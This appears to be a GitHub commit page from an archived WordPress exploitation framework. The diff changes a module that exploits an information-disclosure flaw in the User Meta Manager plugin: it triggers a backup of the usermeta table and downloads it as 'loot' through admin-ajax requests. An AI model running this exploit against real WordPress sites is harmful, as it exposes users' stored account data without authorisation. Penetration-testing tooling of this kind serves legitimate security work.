Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit d312466

Browse files
committed
Change to save backup to loot
1 parent 5375edc commit d312466

File tree

1 file changed

+6
-8
lines changed

1 file changed

+6
-8
lines changed

modules/auxiliary/info/user_meta_manager_information_disclosure.rb

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -40,8 +40,6 @@ def initialize
4040
required: true
4141
)
4242
])
43-
44-
register_export_path_option true
4543
end
4644

4745
def username
@@ -68,11 +66,9 @@ def backup_table(cookie)
6866
end
6967

7068
def download_backup(cookie)
71-
download_file(
69+
execute_get_request(
7270
url: wordpress_url_admin_ajax,
7371
cookie: cookie,
74-
method: :get,
75-
local_filename: export_path,
7672
params: {
7773
'action' => 'umm_switch_action',
7874
'umm_sub_action' => 'umm_get_csv'
@@ -89,10 +85,12 @@ def run
8985
emit_info 'Creating table backup...'
9086
backup_table(cookie)
9187

92-
emit_info 'Downloading extract to file...'
88+
emit_info 'Downloading table backup...'
9389
res = download_backup(cookie)
94-
emit_success "Downloaded file to #{export_path}"
9590

96-
return true
91+
loot = export_and_log_loot res.body, 'backup of the usermeta table', 'backup', '.csv'
92+
emit_success "Downloaded backup to #{loot.path}"
93+
94+
true
9795
end
9896
end

0 commit comments

Comments
 (0)